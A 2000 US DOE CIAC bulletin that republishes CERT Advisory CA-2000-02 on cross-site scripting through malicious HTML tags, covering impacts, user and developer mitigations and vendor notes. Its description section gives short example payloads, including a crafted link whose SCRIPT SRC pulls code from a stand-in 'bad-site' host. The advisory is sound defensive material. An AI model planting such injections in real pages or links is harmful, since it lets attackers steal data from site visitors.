__________________________________________________________

                       The U.S. Department of Energy
                    Computer Incident Advisory Capability
                           ___  __ __    _     ___
                          /       |     /_\   /
                          \___  __|__  /   \  \___
             __________________________________________________________

                             INFORMATION BULLETIN

                              Malicious HTML Tags

February 2, 2000 18:00 GMT                                        Number K-021
______________________________________________________________________________
PROBLEM:       Malicious HTML tags or script may be included in a dynamically 
               generated web page. 
PLATFORM:      Web browsers and web servers that dynamically generate pages 
               based on unvalidated input. All platforms. 
DAMAGE:        Unauthorized access may be gained to documentation, server 
               services, and intranet servers. Domain based security policies 
               may be violated, and web form behavior can be altered. 
SOLUTION:      Follow solution procedure listed in the advisory. 
______________________________________________________________________________
VULNERABILITY  Risk is high. The capability for exploiting the vulnerability 
ASSESSMENT:    is readily available. 
______________________________________________________________________________

[  Start CERT Advisory  ]

CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web
Requests

This advisory is being published jointly by the CERT Coordination Center, DoD-
CERT, the DoD Joint Task Force for Computer Network Defense (JTF-CND), the 
Federal Computer Incident Response Capability (FedCIRC), and the National 
Infrastructure Protection Center (NIPC).

   Original release date: February 2, 2000
   
   A complete revision history is at the end of this file.
   
Systems Affected

     * Web browsers
     * Web servers that dynamically generate pages based on unvalidated input
       
Overview

A web site may inadvertently include malicious HTML tags or script in a 
dynamically generated page based on unvalidated input from untrustworthy 
sources. This can be a problem when a web server does not adequately ensure that 
generated pages are properly encoded to prevent unintended execution of scripts, 
and when input is not validated to prevent malicious HTML from being presented 
to the user.

I. Description

Background

Most web browsers have the capability to interpret scripts embedded in web pages 
downloaded from a web server. Such scripts may be written in a variety of 
scripting languages and are run by the client's browser.  Most browsers are 
installed with the capability to run scripts enabled by default.

Malicious code provided by one client for another client

Sites that host discussion groups with web interfaces have long guarded against 
a vulnerability where one client embeds malicious HTML tags in a message 
intended for another client. For example, an attacker might post a message like

   Hello message board. This is a message.
          <SCRIPT>malicious code</SCRIPT>
          This is the end of my message.
          
When a victim with scripts enabled in their browser reads this message, the 
malicious code may be executed unexpectedly. Scripting tags that can be embedded 
in this way include <SCRIPT>, <OBJECT>, <APPLET>, and <EMBED>.

When client-to-client communications are mediated by a server, site developers 
explicitly recognize that data input is untrustworthy when it is presented to 
other users. Most discussion group servers either will not accept such input or 
will encode/filter it before sending anything to other readers.

Malicious code sent inadvertently by a client for itself

Many Internet web sites overlook the possibility that a client may send 
malicious data intended to be used only by itself. This is an easy mistake to 
make. After all, why would a user enter malicious code that only the user will 
see?

However, this situation may occur when the client relies on an untrustworthy 
source of information when submitting a request. For example, an attacker may 
construct a malicious link such as

   <A HREF="http://example.com/comment.cgi? mycomment=<SCRIPT>malicious
          code</SCRIPT>"> Click here</A>
          
When an unsuspecting user clicks on this link, the URL sent to example.com 
includes the malicious code. If the web server sends a page back to the user 
including the value of mycomment, the malicious code may be executed 
unexpectedly on the client. This example also applies to untrusted links 
followed in email or newsgroup messages.

Abuse of Other Tags

In addition to scripting tags, other HTML tags such as the <FORM> tag have the 
potential to be abused by an attacker. For example, by embedding malicious 
<FORM> tags at the right place, an intruder can trick users into revealing 
sensitive information by modifying the behavior of an existing form. Other HTML 
tags can also be abused to alter the appearance of the page, insert unwanted or 
offensive images or sounds, or otherwise interfere with the intended appearance 
and behavior of the page.

Abuse of Trust

At the heart of this vulnerability is the violation of trust that results from 
the "injected" script or HTML running within the security context established 
for the example.com site. It is, presumably, a site the browser victim is 
interested in enough to visit and interact with in a trusted fashion. In 
addition, the security policy of the legitimate server site example.com may also 
be compromised.

This example explicitly shows the involvement of two sites:

   <A HREF="http://example.com/comment.cgi? mycomment=<SCRIPT
          SRC='http://bad-site/badfile'></SCRIPT>"> Click here</A>
          
Note the SRC attribute in the <SCRIPT> tag is explicitly incorporating code from 
a presumably unauthorized source (bad-site). Both of the previous examples show 
violations of the same-source origination policy fundamental to most scripting 
security models:

   Netscape Communicator Same Origin Policy
          Microsoft Scriptlet Security
          
Because one source is injecting code into pages sent by another source, this 
vulnerability has also been described as "cross-site" scripting.

At the time of publication, malicious exploitation of this vulnerability has not 
been reported to the CERT/CC. However, because of the potential for such 
exploitation, we recommend that organization CIOs, managers, and system 
administrators aggressively implement the steps listed in the solution section 
of this document. Technical feedback to appropriate technical, operational, and 
law enforcement authorities is encouraged.

II. Impact

Users may unintentionally execute scripts written by an attacker when hey follow 
untrusted links in web pages, mail messages, or newsgroup postings. Users may 
also unknowingly execute malicious scripts when viewing dynamically generated 
pages based on content provided by other users.

Because the malicious scripts are executed in a context that appears to have 
originated from the targeted site, the attacker has full access to the document 
retrieved, and may send data contained in the page back to their site. For 
example, a malicious script can read fields in a form provided by the real 
server, then send this data to the attacker.

Note that the access that an intruder has to the Document Object Model (DOM) is
dependent on the security architecture of the language chosen by the attacker.
Specifically, Java applets do not provide the attacker with any access to the DOM.

Alternatively, the attacker may be able to embed script code that has additional 
interactions with the legitimate web server without alerting the victim. For 
example, the attacker could develop an exploit that posted data to a different 
page on the legitimate web server.

Also, even if the victim's web browser does not support scripting, an attacker 
can alter the appearance of a page, modify its behavior, or otherwise interfere 
with normal operation.

The specific impact can vary greatly depending on the language selected by the 
attacker and the configuration of any authentic pages involved in the attack. 
Some examples that may not be immediately obvious are included here.

SSL-Encrypted Connections May Be Exposed

The malicious script tags are introduced before the Secure Socket Layer (SSL) 
encrypted connection is established between the client and the legitimate 
server. SSL encrypts data sent over this connection,  including the malicious 
code, which is passed in both directions.  While ensuring that the client and 
server are communicating without snooping, SSL makes no attempt to validate the 
legitimacy of data transmitted.

Because there really is a legitimate dialog between the client and the server, 
SSL reports no problems. Malicious code that attempts to connect to a non-SSL 
URL may generate warning messages about the insecure connection, but the 
attacker can circumvent this warning simply by running an SSL-capable web 
server.

Attacks May Be Persistent Through Poisoned Cookies

Once malicious code is executing that appears to have come from the authentic 
web site, cookies may be modified to make the attack persistent. Specifically, 
if the vulnerable web site uses a field from the cookie in the dynamic 
generation of pages, the cookie may be modified by the attacker to include 
malicious code. Future visits to the affected web site (even from trusted links) 
will be compromised when the site requests the cookie and displays a page based 
on the field containing the code.

Attacker May Access Restricted Web Sites from the Client

By constructing a malicious URL an attacker may be able to execute script code 
on the client machine that exposes data from a vulnerable server inside the 
client's intranet.

The attacker may gain unauthorized web access to an intranet web server if the 
compromised client has cached authentication for the targeted server. There is 
no requirement for the attacker to masquerade as any particular system. An 
attacker only needs to identify a vulnerable intranet server and convince the 
user to visit an innocent looking page to expose potentially sensitive data on 
the intranet server.

Domain Based Security Policies May Be Violated

If your browser is configured to allow execution of scripting languages from 
some hosts or domains while preventing this access from others, attackers may be 
able to violate this policy.

By embedding malicious script tags in a request sent to a server that is allowed 
to execute scripts, an attacker may gain this privilege as well. For example, 
Internet Explorer security "zones" can be subverted by this technique.

Use of Less-Common Character Sets May Present Additional Risk

Browsers interpret the information they receive according to the character set 
chosen by the user if no character set is specified in the page returned by the 
web server. However, many web sites fail to explicitly specify the character set 
(even if they encode or filter characters with special meaning in the ISO-8859-
1), leaving users of alternate character sets at risk.

Attacker May Alter the Behavior of Forms

Under some conditions, an attacker may be able to modify the behavior of forms, 
including how results are submitted.

III. Solution

Solutions for Users

None of the solutions that web users can take are complete solutions.  In the 
end, it is up to web page developers to modify their pages to eliminate these 
types of problems.

However, web users have two basic options to reduce their risk of being attacked 
through this vulnerability. The first, disabling scripting languages in their 
browser, provides the most protection but has the side effect for many users of 
disabling functionality that is important to them. Users should select this 
option when they require the lowest possible level of risk.

The second solution, being selective about how they initially visit a web site, 
will significantly reduce a user's exposure while still maintaining 
functionality. Users should understand that they are accepting more risk when 
they select this option, but are doing so in order to preserve functionality 
that is important to them.

Unfortunately, it is not possible to quantify the risk difference between these 
two options. Users who decide to continue operating their browsers with 
scripting languages enabled should periodically revisit the CERT/CC web site for 
updates, as well as review other sources of security information to learn of any 
increases in threat or risk related to this vulnerability.

Web Users Should Disable Scripting Languages in Their Browser

Exploiting this vulnerability to execute code requires that some form of 
embedded scripting language be enabled in the victim's browser. The most 
significant impact of this vulnerability can be avoided by disabling all 
scripting languages.

Note that attackers may still be able to influence the appearance of content 
provided by the legitimate site by embedding other HTML tags in the URL. 
Malicious use of the <FORM> tag in particular is not prevented by disabling 
scripting languages.

Detailed instructions to disable scripting languages in your browser are 
available from our Malicious Code FAQ:

   http://www.cert.org/tech_tips/malicious_code_FAQ.html
          
Web Users Should Not Engage in Promiscuous Browsing

Some users are unable or unwilling to disable scripting languages completely. 
While disabling these scripting capabilities is the most effective solution, 
there are some techniques that can be used to reduce a user's exposure to this 
vulnerability.

Since the most significant variations of this vulnerability involve cross-site 
scripting (the insertion of tags into another site's web page), users can gain 
some protection by being selective about how they initially visit a web site. 
Typing addresses directly into the browser (or using securely-stored local 
bookmarks) is likely to be the safest way of connecting to a site.

Users should be aware that even links to unimportant sites may expose other 
local systems on the network if the client's system resides behind a firewall, 
or if the client has cached credentials to access other web servers (e.g., for 
an intranet). For this reason, cautious web browsing is not a comparable 
substitute for disabling scripting.

With scripting enabled, visual inspection of links does not protect users from 
following malicious links, since the attackers web site may use a script to 
misrepresent the links in users window. For example,  the contents of the Goto 
and Status bars in Netscape are controllable by JavaScript.

Solutions for Web Page Developers and Web Site Administrators

Web Page Developers Should Recode Dynamically Generated Pages to Validate Output

Web site administrators and developers can prevent their sites from being abused 
in conjunction with this vulnerability by ensuring that dynamically generated 
pages do not contain undesired tags.

Attempting to remove dangerous meta-characters from the input stream leaves a 
number of risks unaddressed. We encourage developers to restrict variables used 
in the construction of pages to those characters that are explicitly allowed and 
to check those variables during the generation of the output page.

In addition, web pages should explicitly set a character set to an appropriate 
value in all dynamically generated pages.

Because encoding and filtering data is such an important step in responding to 
this vulnerability, and because it is a complicated issue, the CERT/CC has 
written a document which explores this issue in more detail:
   
   http://www.cert.org/tech_tips/malicious_code_mitigation.html
          
Web Server Administrators Should Apply a Patch From Their Vendor

Some web server products include dynamically generated pages in the default 
installation. Even if your site does not include dynamic pages developed 
locally, your web server may still be vulnerable. For example, your server may 
include malicious tags in the "404 Not Found" page generated by your web server.

Web server administrators are encouraged to apply patches as suggested by your 
vendor to address this problem. Appendix A contains information provided by 
vendors for this advisory. We will update the appendix as we receive more 
information. If you do not see your vendor's name, the CERT/CC did not hear from 
that vendor. Please contact your vendor directly.

Appendix A. Vendor Information

Apache

   More information from apache can be found at

   http://www.apache.org/info/css-security

iPlanet - A Sun-Netscape Alliance

   Additional information from iPlanet can be found at:

   http://developer.iplanet.com/docs/technote/security/cert_ca2000_02.html

Microsoft

   Microsoft is providing information and assistance on this issue for its
   customers. This information will be
   posted at http://www.microsoft.com/security

Sun Microsystems, Inc.

   Please see recommendations for Java Web Server at:

   http://sun.com/software/jwebserver/faq/jwsca-2000-02.html

Sun is also providing information on security issues in general.  This information
is posted at http://java.sun.com/security

A good introduction is in http://java.sun.com/sfaq

While any web-based object, including Java Applets, can be unintentionally loaded through
the mechanisms described in this advisory, once they are loaded the Java security mechanisms
prevent any harmful information from being disclosed or client information from being damaged.

     _________________________________________________________________
   
   Our thanks to Marc Slemko, Apache Software Foundation member; Iris
   Associates; iPlanet; the Microsoft Security Response Center, the
   Microsoft Internet Explorer Security Team, and Microsoft Research.
   ______________________________________________________________________
   
   This document is available from:
   http://www.cert.org/advisories/CA-2000-02.html
   ______________________________________________________________________
   
Revision History

February 2, 2000: Initial release.
February 3, 2000: Clarifications on impact of Java applets. New vendor information.

[  End CERT Advisory  ]

_______________________________________________________________________________

CIAC wishes to acknowledge the contributions of CERT for the 
information contained in this bulletin.
_______________________________________________________________________________


CIAC, the Computer Incident Advisory Capability, is the computer
security incident response team for the U.S. Department of Energy
(DOE) and the emergency backup response team for the National
Institutes of Health (NIH). CIAC is located at the Lawrence Livermore
National Laboratory in Livermore, California. CIAC is also a founding
member of FIRST, the Forum of Incident Response and Security Teams, a
global organization established to foster cooperation and coordination
among computer security teams worldwide.

CIAC services are available to DOE, DOE contractors, and the NIH. CIAC
can be contacted at:
    Voice:    +1 925-422-8193
    FAX:      +1 925-423-8002
    STU-III:  +1 925-423-2604
    E-mail:   ciac@llnl.gov

For emergencies and off-hour assistance, DOE, DOE contractor sites,
and the NIH may contact CIAC 24-hours a day. During off hours (5PM -
8AM PST), use one of the following methods to contact CIAC:

    1.  Call the CIAC voice number 925-422-8193 and leave a message, or

    2.  Call 888-449-8369 to send a Sky Page to the CIAC duty person or

    3.  Send e-mail to 4498369@skytel.com, or

    4.  Call 800-201-9288 for the CIAC Project Leader.

Previous CIAC notices, anti-virus software, and other information are
available from the CIAC Computer Security Archive.

   World Wide Web:      http://www.ciac.org/
                        (or http://ciac.llnl.gov -- they're the same machine)
   Anonymous FTP:       ftp.ciac.org
                        (or ciac.llnl.gov -- they're the same machine)
   Modem access:        +1 (925) 423-4753 (28.8K baud)
                        +1 (925) 423-3331 (28.8K baud)

CIAC has several self-subscribing mailing lists for electronic
publications:
1. CIAC-BULLETIN for Advisories, highest priority - time critical
   information and Bulletins, important computer security information;
2. SPI-ANNOUNCE for official news about Security Profile Inspector
   (SPI) software updates, new features, distribution and
   availability;
3. SPI-NOTES, for discussion of problems and solutions regarding the
   use of SPI products.

Our mailing lists are managed by a public domain software package
called Majordomo, which ignores E-mail header subject lines. To
subscribe (add yourself) to one of our mailing lists, send the
following request as the E-mail message body, substituting
ciac-bulletin, spi-announce OR spi-notes for list-name:

E-mail to       ciac-listproc@llnl.gov or majordomo@rumpole.llnl.gov:
        subscribe list-name 
  e.g., subscribe ciac-bulletin 

You will receive an acknowledgment E-mail immediately with a confirmation
that you will need to mail back to the addresses above, as per the
instructions in the E-mail.  This is a partial protection to make sure
you are really the one who asked to be signed up for the list in question.

If you include the word 'help' in the body of an E-mail to the above address,
it will also send back an information file on how to subscribe/unsubscribe,
get past issues of CIAC bulletins via E-mail, etc.

PLEASE NOTE: Many users outside of the DOE, ESnet, and NIH computing
communities receive CIAC bulletins.  If you are not part of these
communities, please contact your agency's response team to report
incidents. Your agency's team will coordinate with CIAC. The Forum of
Incident Response and Security Teams (FIRST) is a world-wide
organization. A list of FIRST member organizations and their
constituencies can be obtained via WWW at http://www.first.org/.

This document was prepared as an account of work sponsored by an
agency of the United States Government. Neither the United States
Government nor the University of California nor any of their
employees, makes any warranty, express or implied, or assumes any
legal liability or responsibility for the accuracy, completeness, or
usefulness of any information, apparatus, product, or process
disclosed, or represents that its use would not infringe privately
owned rights. Reference herein to any specific commercial products,
process, or service by trade name, trademark, manufacturer, or
otherwise, does not necessarily constitute or imply its endorsement,
recommendation or favoring by the United States Government or the
University of California. The views and opinions of authors expressed
herein do not necessarily state or reflect those of the United States
Government or the University of California, and shall not be used for
advertising or product endorsement purposes.

LAST 10 CIAC BULLETINS ISSUED (Previous bulletins available from CIAC)


K-010: Solaris Snoop Buffer Overflow Vulnerability 
K-011: Buffer Overflow Vulnerabilities in SSH Daemon and RSAREF2 
K-012: Cisco Cache Engine Authentication Vulnerabilities 
K-013: Buffer Overflow in Sun Solstice AdminSuite Daemon sadmind 
K-014: HP-UX Aserver Vulnerability 
K-015: ColdFusion Information Exposure (CFCACHE Tag) 
K-016: Microsoft "Malformed IMAP Request" Vulnerability 
K-017: Microsoft "Malformed RTF Control Word" Vulnerability 
K-018: CIAC Bulletin K-018 "HP-UX - Security Vulnerability with PMTU Strategy" 
K-019: Microsoft - "Spoofed LPC Port Request" Vulnerability 
K-020: AusCERT - Majordomo open() call Vulnerability